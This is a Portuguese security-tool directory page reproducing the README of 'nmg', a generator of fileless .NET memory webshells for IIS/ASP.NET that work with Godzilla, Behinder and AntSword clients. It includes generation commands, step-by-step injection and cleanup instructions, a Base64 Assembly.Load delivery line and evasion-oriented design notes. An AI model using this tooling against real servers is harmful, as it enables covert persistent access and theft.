Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nmg — Gera payloads de memory-shell em .NET parametrizados (VPP, rota MVC, HttpListener) compatíveis com os clientes Godzilla, Behinder e AntSword para testes de red team. | Kitploit
Ferramentas/GitHubGitHub/baguette168/nmg
Ferramentas DefensivasGeração de PayloadsMecanismos de PersistênciaExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoGeração de ShellcodeDesenvolvimento de Payloads
717há 13 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubbaguette168/nmg

nmg

Gera payloads de memory-shell em .NET parametrizados (VPP, rota MVC, HttpListener) compatíveis com os clientes Godzilla, Behinder e AntSword para testes de red team.

Ver Repositório
Compartilhar

NMG - Gerador de memory-shell .NET

.NET Tests License Platform

Gerador parametrizado de memory shell .NET | Red team / testes de segurança | equivalente ao JMG para .NET

Arquitetura

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

O que é o NMG?

O NMG gera payloads de memory shell .NET parametrizados que se injetam em aplicações IIS/ASP.NET sem deixar ficheiros no disco. Após a injeção, liga-se com os gestores de webshell existentes (Godzilla / Behinder / AntSword) - o NMG apenas faz funcionar o lado do servidor.

Pense nisto como: input parameters -> compiled payload -> inject -> connect with client

Funcionalidades

Tipos de Memory Shell

TipoAlvo.NET FrameworkPonto de Acionamento
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (independente do IIS)

Protocolos de Shell

ProtocoloClienteEncriptaçãoVerificado
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ End-to-end
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ End-to-end
antswordAntSwordBase64✅ End-to-end

Formatos de Saída

FormatoCaso de Uso
aspxCarregar para diretório com permissão de escrita, aceder uma vez para injetar
b64Para entrega via RCE através de desserialização/injeção de expressão
dllDLL em bruto para loaders personalizados

Subcomandos

ComandoPropósito
generateGerar payload de memory shell
probeGerar aspx de deteção de ambiente (reporta CLR/trust/MVC/VPP)
versionMostrar versão
helpMostrar utilização

Interface Web

Interface web integrada com o tema Inset Dark (minimalismo ao estilo Linear):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Início Rápido

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Métodos de Injeção

Método 1 — injetor ASPX:

  1. Faça upload do arquivo .aspx gerado para qualquer diretório gravável no alvo
  2. Acesse-o uma vez em um navegador (dispara Assembly.Load + registro VPP)
  3. Exclua o arquivo aspx
  4. Conecte-se com seu cliente de webshell a qualquer .aspx/.ashx/.asmx existente no site

Método 2 — Base64 (entrega de RCE): Execute em qualquer ponto de execução de código:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Faça o upload do probe.aspx gerado e acesse-o uma vez. Ele retorna JSON com:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Use isto para determinar qual tipo de shell de memória e protocolo usar.

Princípios de Design

  1. Seguro para o host: Todos os caminhos de execução envolvidos em try-catch, qualquer exceção deixa a requisição passar silenciosamente
  2. Idempotente: Injeções repetidas não acumulam registros
  3. Sem resíduos de ficheiros: Após a injeção, nenhum ficheiro novo no diretório web
  4. Determinístico: Mesmos parâmetros + mesma seed = saída idêntica byte a byte (NFR-5)
  5. Sem compilação dinâmica no alvo: O payload é pré-compilado, evita a deteção de ASP.xxx_aspx+ClassName
  6. Registo duplo: O VPP usa primeiro a API oficial, recorre à substituição direta de campos para o modo IIS Integrated

Compilação

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Estrutura do Projeto

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Referências

  • BeichenDream/GodzillaMemoryShellProject.NET
  • Série de memory shells ASP.NET de yzddmr6 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

Licença

MIT

Baixar ferramenta